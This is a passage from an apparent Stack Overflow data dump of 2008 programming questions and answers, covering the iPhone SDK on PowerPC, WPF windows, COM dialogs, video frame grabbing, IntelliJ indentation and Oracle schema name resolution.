menu</li>\n<li>On the Build tab change the Architectures to: Standard (iPhone Simulator:i386 ppc)</li>\n<li>Change Base SDK to Simulator - iPhone OS 2.0</li>\n<li>Build and go should now see the app build and run in the simulator</li>\n</ol>\n"
},
{
"answer_id": 117802,
"author": "Chris Lundie",
"author_id": 20685,
"author_profile": "https://Stackoverflow.com/users/20685",
"pm_score": 1,
"selected": false,
"text": "<p>If you actually want to run your binary on the device, not just the simulator, you need the advice from the following page:</p>\n\n<p><a href=\"http://discussions.apple.com/thread.jspa?messageID=7958611\" rel=\"nofollow noreferrer\">http://discussions.apple.com/thread.jspa?messageID=7958611</a></p>\n\n<p>It involves a Perl script that does a bit of 'magic' to get the code signing to work on PowerPC. Also you need to install Developer Disk Image from the SDK packages. When all is said and done you can use a G4 to develop on the real device and even the debugger works. But I think Instruments doesn't work.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37822",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2438/"
] | I have read that the iPhone SDK (part of Xcode 3) is restricted to Mac's with the intel chipset. Does this restriction apply to only the simulator part of the SDK or the complete shebang?
I have a Powerbook G4 running Leopard and would very much like to do dev on it rather than fork out for a new machine.
It is also worth clarifying that I am interested in development for personal reasons and therefore accept that I would need a certified platform to create a submission for the App Store. | As things have moved on since the original post on 3by9.com, here are the steps that I had to follow to get the environment working on my PowerBook G4.
**BTW, I would like to say that I realise that this is not a supported environment and I share this for purely pedagogic rea**sons.
1. Download and install the iPhoneSDK (final version)
2. After the install finishes, navigate to the packages directory in the mounted DMG
3. Install all of the pkg's that start with iPhone
4. Copy the contents of `/Platforms` to `/Developer/Platforms` (should be two folders starting with iPhone)
5. Locate '`iPhone Simulator Architectures.xcspec`' in `/Developer/Platforms/iPhoneSimulator.platform/Developer/Library/Xcode/Specifications` and open in a text editor.
6. Change line 12 to: `Name = "Standard (iPhone Simulator: i386 ppc)";`
7. Change line 16 to: `RealArchitectures = ( i386, ppc );`
8. Add the following to line 40 onwards:
```
// PowerPC
{ Type = Architecture;
Identifier = ppc;
Name = "PowerPC";
Description = "32-bit PowerPC";
PerArchBuildSettingName = "PowerPC";
ByteOrder = big;
ListInEnum = NO;
SortNumber = 106;
},
```
9. Save the file and start Xcode
10. You should see under the New Project Folder the ability to create iPhone applications.
11. To get an app to work in the simulator (and using the WhichWayIsUp example) open Edit Project Settings under the Project menu
12. On the Build tab change the Architectures to: Standard (iPhone Simulator:i386 ppc)
13. Change Base SDK to Simulator - iPhone OS 2.0
14. Build and go should now see the app build and run in the simulator |
37,830 | <p>I want to show a chromeless modal window with a close button in the upper right corner.
Is this possible?</p>
| [
{
"answer_id": 37878,
"author": "Matt Hamilton",
"author_id": 615,
"author_profile": "https://Stackoverflow.com/users/615",
"pm_score": 6,
"selected": true,
"text": "<p>You'll pretty much have to roll your own Close button, but you can hide the window chrome completely using the WindowStyle attribute, like this:</p>\n\n<pre><code><Window WindowStyle=\"None\">\n</code></pre>\n\n<p>That will still have a resize border. If you want to make the window non-resizable then add ResizeMode=\"NoResize\" to the declaration.</p>\n"
},
{
"answer_id": 37883,
"author": "aku",
"author_id": 1196,
"author_profile": "https://Stackoverflow.com/users/1196",
"pm_score": 1,
"selected": false,
"text": "<pre><code><Window x:Class=\"WpfApplication1.Window1\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"Window1\" Height=\"300\" Width=\"300\" WindowStyle=\"None\" ResizeMode=\"NoResize\">\n <Button HorizontalAlignment=\"Right\" Name=\"button1\" VerticalAlignment=\"Top\" >Close</Button>\n</Window>\n</code></pre>\n"
},
{
"answer_id": 40272,
"author": "Alan Le",
"author_id": 1133,
"author_profile": "https://Stackoverflow.com/users/1133",
"pm_score": 4,
"selected": false,
"text": "<p>Check out this blog post on <a href=\"http://www.kirupa.com/blend_wpf/custom_wpf_windows.htm\" rel=\"nofollow noreferrer\">kirupa</a>.</p>\n\n<p><img src=\"https://i.stack.imgur.com/udxaj.png\" alt=\"alt text\"></p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37830",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2374/"
] | I want to show a chromeless modal window with a close button in the upper right corner.
Is this possible? | You'll pretty much have to roll your own Close button, but you can hide the window chrome completely using the WindowStyle attribute, like this:
```
<Window WindowStyle="None">
```
That will still have a resize border. If you want to make the window non-resizable then add ResizeMode="NoResize" to the declaration. |
37,920 | <p>I have developed a COM component (dll) that implements an Edit() method displaying a WTL modal dialog.</p>
<p>The complete interface to this COM component corresponds to a software standard used in the chemical process industry (CAPE-OPEN) and as a result this COM component is supposed to be usable by a range of 3rd party executables that are out of my control.</p>
<p>My component works as expected in many of these EXEs, but for one in particular the Edit() method just hangs without the dialog appearing.</p>
<p>However, if I make a call to <code>::MessageBox()</code> immediately before <code>DoModal()</code> the dialog displays and behaves correctly after first showing the MessageBox.</p>
<p>I have a suspicion that the problem may be something to do with this particular EXE running as a 'hidden window application'.</p>
<p>I have tried using both NULL and the return value from <code>::GetConsoleWindow()</code> as the dialog's parent, neither have worked.</p>
<p>The dialog itself is an ATL/WTL CPropertySheetImpl.</p>
<p>The parent application (EXE) in question is out of my control as it is developed by a (mildly hostile) 3rd party.</p>
<p>I do know that I can successfully call <code>::MessageBox()</code> or display the standard Windows File Dialog from my COM component, and that after doing so I am then able to display my custom dialog. I'm just unable to display my custom dialog without first displaying a 'standard' dialog.</p>
<p>Can anyone suggest how I might get it to display the dialog without first showing an unnecessary MessageBox? I know it is possible because I've seen this EXE display the dialogs from other COM components corresponding to the same interface.</p>
| [
{
"answer_id": 37943,
"author": "Mark Ingram",
"author_id": 986,
"author_profile": "https://Stackoverflow.com/users/986",
"pm_score": 1,
"selected": false,
"text": "<p>Are you using a parent for the Dialog? e.g.</p>\n\n<pre><code>MyDialog dialog(pParent);\ndialog.DoModal();\n</code></pre>\n\n<p>If you are, try removing the parent. Especially if the parent is the desktop window.</p>\n"
},
{
"answer_id": 37954,
"author": "dguaraglia",
"author_id": 2384,
"author_profile": "https://Stackoverflow.com/users/2384",
"pm_score": 1,
"selected": false,
"text": "<p>Depending on how the \"hidden window\" application works, it might not be able to display a window. For example, services don't have a \"main message loop\", and thus are not able to process messages sent to windows in the process. i.e, the application displaying the window should have something like this:</p>\n\n<pre><code> while(GetMessage(&msg, NULL, 0, 0))\n {\n if(!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) \n {\n TranslateMessage(&msg);\n DispatchMessage(&msg);\n }\n }\n</code></pre>\n\n<p>in WinMain.</p>\n"
},
{
"answer_id": 37984,
"author": "Mark Ingram",
"author_id": 986,
"author_profile": "https://Stackoverflow.com/users/986",
"pm_score": 1,
"selected": false,
"text": "<p>This isn't supposed to be reliable - but try ::GetDesktopWindow() as the parent (it returns a HWND).</p>\n\n<p>Be warned - if your app crashes, it will bring down the desktop with it. But i'd be interested to see if it works.</p>\n"
},
{
"answer_id": 37989,
"author": "Tom Williams",
"author_id": 3229,
"author_profile": "https://Stackoverflow.com/users/3229",
"pm_score": 1,
"selected": false,
"text": "<p>It turns out I was mistaken:</p>\n\n<ul>\n<li>If I create my dialog with a NULL parent then it is not displayed, and hangs the parent application</li>\n<li>However if I create my dialog with ::GetConsoleWindow() as the parent then the dialog is displayed; it just fooled me because it was displayed behind the window of the application that launched the parent application</li>\n</ul>\n\n<p>So now I just have to find out how to bring my dialog to the front.</p>\n\n<p>Thanks for the answers ;-)</p>\n"
},
{
"answer_id": 5243578,
"author": "Adam Woś",
"author_id": 89005,
"author_profile": "https://Stackoverflow.com/users/89005",
"pm_score": 0,
"selected": false,
"text": "<p>Whatever you do, <strong>do not</strong> use the desktop window as the parent for your modal dialog box.</p>\n\n<p>See here for explanation: <a href=\"http://blogs.msdn.com/b/oldnewthing/archive/2004/02/24/79212.aspx\" rel=\"nofollow\">http://blogs.msdn.com/b/oldnewthing/archive/2004/02/24/79212.aspx</a></p>\n\n<p>To quote the rationale:</p>\n\n<blockquote>\n <p>Put this together: If the owner of a\n modal dialog is the desktop, then the\n desktop becomes disabled, which\n disables all of its descendants. In\n other words, it disables every window\n in the system. Even the one you're\n trying to display!</p>\n</blockquote>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37920",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3229/"
] | I have developed a COM component (dll) that implements an Edit() method displaying a WTL modal dialog.
The complete interface to this COM component corresponds to a software standard used in the chemical process industry (CAPE-OPEN) and as a result this COM component is supposed to be usable by a range of 3rd party executables that are out of my control.
My component works as expected in many of these EXEs, but for one in particular the Edit() method just hangs without the dialog appearing.
However, if I make a call to `::MessageBox()` immediately before `DoModal()` the dialog displays and behaves correctly after first showing the MessageBox.
I have a suspicion that the problem may be something to do with this particular EXE running as a 'hidden window application'.
I have tried using both NULL and the return value from `::GetConsoleWindow()` as the dialog's parent, neither have worked.
The dialog itself is an ATL/WTL CPropertySheetImpl.
The parent application (EXE) in question is out of my control as it is developed by a (mildly hostile) 3rd party.
I do know that I can successfully call `::MessageBox()` or display the standard Windows File Dialog from my COM component, and that after doing so I am then able to display my custom dialog. I'm just unable to display my custom dialog without first displaying a 'standard' dialog.
Can anyone suggest how I might get it to display the dialog without first showing an unnecessary MessageBox? I know it is possible because I've seen this EXE display the dialogs from other COM components corresponding to the same interface. | Are you using a parent for the Dialog? e.g.
```
MyDialog dialog(pParent);
dialog.DoModal();
```
If you are, try removing the parent. Especially if the parent is the desktop window. |
37,956 | <p>I would like to open a small video file and map every frames in memory (to apply some custom filter). I don't want to handle the video codec, I would rather let the library handle that for me.</p>
<p>I've tried to use Direct Show with the SampleGrabber filter (using this sample <a href="http://msdn.microsoft.com/en-us/library/ms787867(VS.85).aspx" rel="noreferrer">http://msdn.microsoft.com/en-us/library/ms787867(VS.85).aspx</a>), but I only managed to grab some frames (not every frames!). I'm quite new in video software programming, maybe I'm not using the best library, or I'm doing it wrong. </p>
<p>I've pasted a part of my code (mainly a modified copy/paste from the msdn example), unfortunately it doesn't grabb the 25 first frames as expected...</p>
<pre><code>[...]
hr = pGrabber->SetOneShot(TRUE);
hr = pGrabber->SetBufferSamples(TRUE);
pControl->Run(); // Run the graph.
pEvent->WaitForCompletion(INFINITE, &evCode); // Wait till it's done.
// Find the required buffer size.
long cbBuffer = 0;
hr = pGrabber->GetCurrentBuffer(&cbBuffer, NULL);
for( int i = 0 ; i < 25 ; ++i )
{
pControl->Run(); // Run the graph.
pEvent->WaitForCompletion(INFINITE, &evCode); // Wait till it's done.
char *pBuffer = new char[cbBuffer];
hr = pGrabber->GetCurrentBuffer(&cbBuffer, (long*)pBuffer);
AM_MEDIA_TYPE mt;
hr = pGrabber->GetConnectedMediaType(&mt);
VIDEOINFOHEADER *pVih;
pVih = (VIDEOINFOHEADER*)mt.pbFormat;
[...]
}
[...]
</code></pre>
<p>Is there somebody, with video software experience, who can advise me about code or other simpler library?</p>
<p>Thanks</p>
<p>Edit:
Msdn links seems not to work (<a href="http://stackoverflow.uservoice.com/pages/general/suggestions/19963" rel="noreferrer">see the bug</a>)</p>
| [
{
"answer_id": 37980,
"author": "Chris de Vries",
"author_id": 3836,
"author_profile": "https://Stackoverflow.com/users/3836",
"pm_score": 2,
"selected": false,
"text": "<p>I have used <a href=\"http://sourceforge.net/projects/opencvlibrary/\" rel=\"nofollow noreferrer\">OpenCV</a> to load video files and process them. It's also handy for many types of video processing including those useful for computer vision.</p>\n"
},
{
"answer_id": 37982,
"author": "Lehane",
"author_id": 142,
"author_profile": "https://Stackoverflow.com/users/142",
"pm_score": 1,
"selected": false,
"text": "<p>Try using the <a href=\"http://opencvlibrary.sourceforge.net/\" rel=\"nofollow noreferrer\">OpenCV</a> library. It definitely has the capabilities you require. </p>\n\n<p><a href=\"http://www.cs.iit.edu/~agam/cs512/lect-notes/opencv-intro/index.html\" rel=\"nofollow noreferrer\">This guide</a> has a section about accessing frames from a video file.</p>\n"
},
{
"answer_id": 38017,
"author": "martjno",
"author_id": 3373,
"author_profile": "https://Stackoverflow.com/users/3373",
"pm_score": 6,
"selected": true,
"text": "<p>Currently these are the most popular video frameworks available on Win32 platforms:</p>\n\n<ol>\n<li><p>Video for Windows: old windows framework coming from the age of Win95 but still widely used because it is very simple to use. Unfortunately it supports only AVI files for which the proper VFW codec has been installed.</p></li>\n<li><p>DirectShow: standard WinXP framework, it can basically load all formats you can play with Windows Media Player. Rather difficult to use.</p></li>\n<li><p><a href=\"http://ffmpeg.mplayerhq.hu/\" rel=\"noreferrer\">Ffmpeg</a>: more precisely libavcodec and libavformat that comes with Ffmpeg open- source multimedia utility. It is extremely powerful and can read a lot of formats (almost everything you can play with <a href=\"http://www.videolan.org/vlc/\" rel=\"noreferrer\">VLC</a>) even if you don't have the codec installed on the system. It's quite complicated to use but you can always get inspired by the code of ffplay that comes shipped with it or by other implementations in open-source software. Anyway I think it's still much easier to use than DS (and much faster). It needs to be comipled by MinGW on Windows, but all the steps are explained very well <a href=\"http://arrozcru.no-ip.org/ffmpeg/\" rel=\"noreferrer\">here</a> (in this moment the link is down, hope not dead).</p></li>\n<li><p><a href=\"http://developer.apple.com/quicktime/download/\" rel=\"noreferrer\">QuickTime</a>: the Apple framework is not the best solution for Windows platform, since it needs QuickTime app to be installed and also the proper QuickTime codec for every format; it does not support many formats, but its quite common in professional field (so some codec are actually only for QuickTime). Shouldn't be too difficult to implement.</p></li>\n<li><p><a href=\"http://www.gstreamer.net/\" rel=\"noreferrer\">Gstreamer</a>: latest open source framework. I don't know much about it, I guess it wraps over some of the other systems (but I'm not sure).</p></li>\n</ol>\n\n<p>All of this frameworks have been implemented as backend in OpenCv Highgui, except for DirectShow. The default framework for Win32 OpenCV is using VFW (and thus able only to open some AVI files), if you want to use the others you must download the CVS instead of the official release and still do some hacking on the code and it's anyway not too complete, for example FFMPEG backend doesn't allow to seek in the stream.\nIf you want to use QuickTime with OpenCV <a href=\"http://path.berkeley.edu/~zuwhan/QTforOpenCVWin/\" rel=\"noreferrer\">this</a> can help you.</p>\n"
},
{
"answer_id": 38047,
"author": "Adam Mitz",
"author_id": 2574,
"author_profile": "https://Stackoverflow.com/users/2574",
"pm_score": 2,
"selected": false,
"text": "<p>Using the \"Callback\" model of SampleGrabber may give you better results. See the example in Samples\\C++\\DirectShow\\Editing\\GrabBitmaps.</p>\n\n<p>There's also a lot of info in Samples\\C++\\DirectShow\\Filters\\Grabber2\\grabber_text.txt and readme.txt.</p>\n"
},
{
"answer_id": 872954,
"author": "Jimmy J",
"author_id": 73869,
"author_profile": "https://Stackoverflow.com/users/73869",
"pm_score": 1,
"selected": false,
"text": "<p>If it's for AVI files I'd read the data from the AVI file myself and extract the frames. Now use the video compression manager to decompress it.</p>\n\n<p>The AVI file format is very simple, see: <a href=\"http://msdn.microsoft.com/en-us/library/dd318187(VS.85).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/dd318187(VS.85).aspx</a> (and use google).</p>\n\n<p>Once you have the file open you just extract each frame and pass it to ICDecompress() to decompress it.</p>\n\n<p>It seems like a lot of work but it's the most reliable way.</p>\n\n<p>If that's too much work, or if you want more than AVI files then use ffmpeg.</p>\n"
},
{
"answer_id": 3755176,
"author": "DJKylix",
"author_id": 453167,
"author_profile": "https://Stackoverflow.com/users/453167",
"pm_score": 1,
"selected": false,
"text": "<p>OpenCV is the best solution if video in your case only needs to lead to a sequence of pictures. If you're willing to do real video processing, so ViDeo equals \"Visual Audio\", you need to keep up track with the ones offered by \"martjno\". New windows solutions also for Win7 include 3 new possibilities additionally:</p>\n\n<ol>\n<li>Windows Media Foundation: Successor of DirectShow; cleaned-up interface</li>\n<li>Windows Media Encoder 9: It does not only include the programm, it also ships libraries for coding</li>\n<li>Windows Expression 4: Successor of 2.</li>\n</ol>\n\n<p>Last 2 are commercial-only solutions, but the first one is free. To code WMF, you need to install the Windows SDK.</p>\n"
},
{
"answer_id": 21258871,
"author": "Bob",
"author_id": 3154041,
"author_profile": "https://Stackoverflow.com/users/3154041",
"pm_score": 2,
"selected": false,
"text": "<p>I know it is very tempting in C++ to get a proper breakdown of the video files and just do it yourself. But although the information is out there, it is such a long winded process building classes to hand each file format, and make it easily alterable to take future structure changes into account, that frankly it just is not worth the effort.</p>\n\n<p>Instead I recommend ffmpeg. It got a mention above, but says it is difficult, it isn't difficult. There are a lot more options than most people would need which makes it look more difficult than it is. For the majority of operations you can just let ffmpeg work it out for itself.</p>\n\n<p>For example a file conversion \nffmpeg -i inputFile.mp4 outputFile.avi</p>\n\n<p>Decide right from the start that you will have ffmpeg operations run in a thread, or more precisely a thread library. But have your own thread class wrap it so that you can have your own EventAgs and methods of checking the thread is finished. Something like :-</p>\n\n<pre><code>ThreadLibManager()\n{\n List<MyThreads> listOfActiveThreads;\n public AddThread(MyThreads);\n}\nYour thread class is something like:-\nclass MyThread\n{\n public Thread threadForThisInstance { get; set; }\n public MyFFMpegTools mpegTools { get; set; }\n}\nMyFFMpegTools performs many different video operations, so you want your own event \nargs to tell your parent code precisely what type of operation has just raised and \nevent.\nenum MyFmpegArgs\n{\npublic int thisThreadID { get; set; } //Set as a new MyThread is added to the List<>\npublic MyFfmpegType operationType {get; set;}\n//output paths etc that the parent handler will need to find output files\n}\nenum MyFfmpegType\n{\n FF_CONVERTFILE = 0, FF_CREATETHUMBNAIL, FF_EXTRACTFRAMES ...\n}\n</code></pre>\n\n<p>Here is a small snippet of my ffmpeg tool class, this part collecting information about a video.\nI put FFmpeg in a particular location, and at the start of the software running it makes sure that it is there. For this version I have moved it to the Desktop, I am fairly sure I have written the path correctly for you (I really hate MS's special folders system, so I ignore it as much as I can).</p>\n\n<p>Anyway, it is an example of using windowless ffmpeg.</p>\n\n<pre><code> public string GetVideoInfo(FileInfo fi)\n {\n outputBuilder.Clear();\n string strCommand = string.Concat(\" -i \\\"\", fi.FullName, \"\\\"\");\n string ffPath = \n System.Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + \"\\\\ffmpeg.exe\";\n string oStr = \"\";\n\n try\n {\n Process build = new Process();\n //build.StartInfo.WorkingDirectory = @\"dir\";\n build.StartInfo.Arguments = strCommand;\n build.StartInfo.FileName = ffPath;\n\n build.StartInfo.UseShellExecute = false;\n build.StartInfo.RedirectStandardOutput = true;\n build.StartInfo.RedirectStandardError = true;\n build.StartInfo.CreateNoWindow = true;\n build.ErrorDataReceived += build_ErrorDataReceived;\n build.OutputDataReceived += build_ErrorDataReceived;\n build.EnableRaisingEvents = true;\n build.Start();\n build.BeginOutputReadLine();\n build.BeginErrorReadLine();\n build.WaitForExit();\n\n\n string findThis = \"start\";\n int offset = 0;\n foreach (string str in outputBuilder)\n {\n if (str.Contains(\"Duration\"))\n {\n offset = str.IndexOf(findThis);\n oStr = str.Substring(0, offset);\n }\n }\n }\n catch\n {\n oStr = \"Error collecting file information\";\n }\n\n return oStr;\n }\n private void build_ErrorDataReceived(object sender, DataReceivedEventArgs e)\n {\n string strMessage = e.Data;\n if (outputBuilder != null && strMessage != null)\n {\n outputBuilder.Add(string.Concat(strMessage, \"\\n\"));\n }\n } \n</code></pre>\n"
},
{
"answer_id": 73831637,
"author": "aaries",
"author_id": 19002577,
"author_profile": "https://Stackoverflow.com/users/19002577",
"pm_score": 0,
"selected": false,
"text": "<p>I would recommend FFMPEG or GStreamer. Try and stay away from openCV unless you plan to utilize some other functionality than just streaming video. The library is a beefy build and a pain to install from source to configure FFMPEG/+GStreamer options.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37956",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1578/"
] | I would like to open a small video file and map every frames in memory (to apply some custom filter). I don't want to handle the video codec, I would rather let the library handle that for me.
I've tried to use Direct Show with the SampleGrabber filter (using this sample <http://msdn.microsoft.com/en-us/library/ms787867(VS.85).aspx>), but I only managed to grab some frames (not every frames!). I'm quite new in video software programming, maybe I'm not using the best library, or I'm doing it wrong.
I've pasted a part of my code (mainly a modified copy/paste from the msdn example), unfortunately it doesn't grabb the 25 first frames as expected...
```
[...]
hr = pGrabber->SetOneShot(TRUE);
hr = pGrabber->SetBufferSamples(TRUE);
pControl->Run(); // Run the graph.
pEvent->WaitForCompletion(INFINITE, &evCode); // Wait till it's done.
// Find the required buffer size.
long cbBuffer = 0;
hr = pGrabber->GetCurrentBuffer(&cbBuffer, NULL);
for( int i = 0 ; i < 25 ; ++i )
{
pControl->Run(); // Run the graph.
pEvent->WaitForCompletion(INFINITE, &evCode); // Wait till it's done.
char *pBuffer = new char[cbBuffer];
hr = pGrabber->GetCurrentBuffer(&cbBuffer, (long*)pBuffer);
AM_MEDIA_TYPE mt;
hr = pGrabber->GetConnectedMediaType(&mt);
VIDEOINFOHEADER *pVih;
pVih = (VIDEOINFOHEADER*)mt.pbFormat;
[...]
}
[...]
```
Is there somebody, with video software experience, who can advise me about code or other simpler library?
Thanks
Edit:
Msdn links seems not to work ([see the bug](http://stackoverflow.uservoice.com/pages/general/suggestions/19963)) | Currently these are the most popular video frameworks available on Win32 platforms:
1. Video for Windows: old windows framework coming from the age of Win95 but still widely used because it is very simple to use. Unfortunately it supports only AVI files for which the proper VFW codec has been installed.
2. DirectShow: standard WinXP framework, it can basically load all formats you can play with Windows Media Player. Rather difficult to use.
3. [Ffmpeg](http://ffmpeg.mplayerhq.hu/): more precisely libavcodec and libavformat that comes with Ffmpeg open- source multimedia utility. It is extremely powerful and can read a lot of formats (almost everything you can play with [VLC](http://www.videolan.org/vlc/)) even if you don't have the codec installed on the system. It's quite complicated to use but you can always get inspired by the code of ffplay that comes shipped with it or by other implementations in open-source software. Anyway I think it's still much easier to use than DS (and much faster). It needs to be comipled by MinGW on Windows, but all the steps are explained very well [here](http://arrozcru.no-ip.org/ffmpeg/) (in this moment the link is down, hope not dead).
4. [QuickTime](http://developer.apple.com/quicktime/download/): the Apple framework is not the best solution for Windows platform, since it needs QuickTime app to be installed and also the proper QuickTime codec for every format; it does not support many formats, but its quite common in professional field (so some codec are actually only for QuickTime). Shouldn't be too difficult to implement.
5. [Gstreamer](http://www.gstreamer.net/): latest open source framework. I don't know much about it, I guess it wraps over some of the other systems (but I'm not sure).
All of this frameworks have been implemented as backend in OpenCv Highgui, except for DirectShow. The default framework for Win32 OpenCV is using VFW (and thus able only to open some AVI files), if you want to use the others you must download the CVS instead of the official release and still do some hacking on the code and it's anyway not too complete, for example FFMPEG backend doesn't allow to seek in the stream.
If you want to use QuickTime with OpenCV [this](http://path.berkeley.edu/~zuwhan/QTforOpenCVWin/) can help you. |
37,976 | <p>By default IntelliJ IDEA 7.0.4 seems to use 4 spaces for indentation in XML files. The project I'm working on uses 2 spaces as indentation in all it's XML. Is there a way to configure the indentation in IntelliJ's editor?</p>
| [
{
"answer_id": 38224,
"author": "Huppie",
"author_id": 1830,
"author_profile": "https://Stackoverflow.com/users/1830",
"pm_score": 5,
"selected": true,
"text": "<p>Sure there is. This is all you need to do:</p>\n\n<ul>\n<li>Go to</li>\n</ul>\n\n<pre>File -> Settings -> Global Code Style -> General</pre>\n\n<ul>\n<li>Disable the checkbox next to 'Use same settings for all file types' </li>\n<li>The 'XML' tab should become enabled. Click it and set the 'tab' (and probably 'indent') size to 2.</li>\n</ul>\n"
},
{
"answer_id": 6286495,
"author": "xiatica",
"author_id": 564811,
"author_profile": "https://Stackoverflow.com/users/564811",
"pm_score": 3,
"selected": false,
"text": "<p>In IntelliJ IDEA 10.0.3 it's \nFile > Settings > Code Style > General</p>\n"
},
{
"answer_id": 26929608,
"author": "VonC",
"author_id": 6309,
"author_profile": "https://Stackoverflow.com/users/6309",
"pm_score": 0,
"selected": false,
"text": "<p>Note: make sure to not use the <em>same</em> file in two project, or your settings might revert to the default (4 spaces), instead of the custom XML tab indent size.</p>\n\n<p>See <a href=\"https://youtrack.jetbrains.com/issue/IDEA-130878\" rel=\"nofollow\">bug IDEA-130878</a>, for the latest IntelliJ IDEA 14 (Oct 2014)</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37976",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1113/"
] | By default IntelliJ IDEA 7.0.4 seems to use 4 spaces for indentation in XML files. The project I'm working on uses 2 spaces as indentation in all it's XML. Is there a way to configure the indentation in IntelliJ's editor? | Sure there is. This is all you need to do:
* Go to
```
File -> Settings -> Global Code Style -> General
```
* Disable the checkbox next to 'Use same settings for all file types'
* The 'XML' tab should become enabled. Click it and set the 'tab' (and probably 'indent') size to 2. |
38,014 | <p>I am facing problem with an Oracle Query in a .net 2.0 based windows application. I am using <code>System.Data.OracleClient</code> to connect to oracle database. Name of database is <code>myDB</code>. Below the the connection string I am using:</p>
<pre><code>Data Source=(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)
(HOST = 172.16.0.24)(PORT = 1522)))(CONNECT_DATA =(SERVICE_NAME = ORCL)));
User ID=myDB;Password=myDB;Unicode=True
</code></pre>
<p>If I run the below query then it will given me wrong result (here wrong result means incorrect data. The data doesn't belongs to myDB):</p>
<pre><code>SELECT ID, NAME
FROM MyTempTable
WHERE ID IN (10780, 10760, 11890)
</code></pre>
<p>But if I append the database name along with it the it is giving correct result:</p>
<pre><code>SELECT ID, NAME
FROM "myDB".MyTempTable
WHERE ID IN (10780, 10760, 11890)
</code></pre>
<p>My limitation is that I cannot append the database name as this is a generic application and can run with any database on run time. Please help.</p>
| [
{
"answer_id": 38022,
"author": "skolima",
"author_id": 3205,
"author_profile": "https://Stackoverflow.com/users/3205",
"pm_score": 0,
"selected": false,
"text": "<p>Try adding</p>\n\n<pre><code>CONNECT_DATA=(SID=myDB)(SERVICE_NAME=ORCL)\n</code></pre>\n\n<p>in the connection string.</p>\n"
},
{
"answer_id": 38050,
"author": "stjohnroe",
"author_id": 2985,
"author_profile": "https://Stackoverflow.com/users/2985",
"pm_score": 3,
"selected": true,
"text": "<p>This looks like an issue with name resolution, try creating a public synonym on the table:</p>\n\n<p>CREATE PUBLIC SYNONYM <em>MyTempTable</em> for <em>MyTempTable</em>;</p>\n\n<p>Also, what exactly do you mean by <strong>wrong result</strong>, incorrect data, error message?</p>\n\n<hr>\n\n<p>Edit: What is the name of the schema that the required table belongs to? It sounds like the table that you are trying to select from is in a different schema to the one that belongs to the user you are connecting as.</p>\n"
},
{
"answer_id": 38306,
"author": "Simon Munro",
"author_id": 3893,
"author_profile": "https://Stackoverflow.com/users/3893",
"pm_score": 1,
"selected": false,
"text": "<p>For starters, I would suggest that you use the .net data providers from Oracle - if at all possible. If you are starting off in a project it will be the best way to save yourself pain further down the line. You can get them from <a href=\"http://www.oracle.com/technology/tech/windows/odpnet/index.html\" rel=\"nofollow noreferrer\">here</a> </p>\n"
},
{
"answer_id": 40000,
"author": "hamishmcn",
"author_id": 3590,
"author_profile": "https://Stackoverflow.com/users/3590",
"pm_score": 1,
"selected": false,
"text": "<p>To expand on what stjohnroe has said it looks like the reason you are getting different results is because two different tables with the same name exist on different schemas.<br>\nBy adding the myDB username to the front of the query you now access the table with the data you are expecting. (Since you say the data doesn't belong on \"myDB\" this probably means the app/proc that is writing the data is writing to the wrong table too).<br>\nThe resolution is:<br>\n1. If the table really doesn't belong on \"myDB\" then drop it for tidyness sake (now you may get 904 table not found errors when you run your code)<br>\n2. Create a synonym to the schema and table you really want to access (eg CREATE SYNONYM myTable FOR aschema.myTable;)<br>\n3. Don't forget to grant access rights from the schema that owns the table (eg: GRANT SELECT,INSERT,DELETE ON myTable TO myDB; (here myDB refers to the user/schema)) </p>\n"
},
{
"answer_id": 6239631,
"author": "Gary Myers",
"author_id": 25714,
"author_profile": "https://Stackoverflow.com/users/25714",
"pm_score": 2,
"selected": false,
"text": "<p>Upon connecting to the database issue am</p>\n\n<pre><code>ALTER SESSION SET CURRENT_SCHEMA=abc;\n</code></pre>\n\n<p>where abc is the user that owns the tables.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38014",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/191/"
] | I am facing problem with an Oracle Query in a .net 2.0 based windows application. I am using `System.Data.OracleClient` to connect to oracle database. Name of database is `myDB`. Below the the connection string I am using:
```
Data Source=(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)
(HOST = 172.16.0.24)(PORT = 1522)))(CONNECT_DATA =(SERVICE_NAME = ORCL)));
User ID=myDB;Password=myDB;Unicode=True
```
If I run the below query then it will given me wrong result (here wrong result means incorrect data. The data doesn't belongs to myDB):
```
SELECT ID, NAME
FROM MyTempTable
WHERE ID IN (10780, 10760, 11890)
```
But if I append the database name along with it the it is giving correct result:
```
SELECT ID, NAME
FROM "myDB".MyTempTable
WHERE ID IN (10780, 10760, 11890)
```
My limitation is that I cannot append the database name as this is a generic application and can run with any database on run time. Please help. | This looks like an issue with name resolution, try creating a public synonym on the table:
CREATE PUBLIC SYNONYM *MyTempTable* for *MyTempTable*;
Also, what exactly do you mean by **wrong result**, incorrect data, error message?
---
Edit: What is the name of the schema that the required table belongs to? It sounds like the table that you are trying to select from is in a different schema to the one that belongs to the user you are connecting as. |
38,021 | <p>How can I find the origins of conflicting DNS records?</p>
| [
{
"answer_id": 38025,
"author": "Kyle Cronin",
"author_id": 658,
"author_profile": "https://Stackoverflow.com/users/658",
"pm_score": 1,
"selected": false,
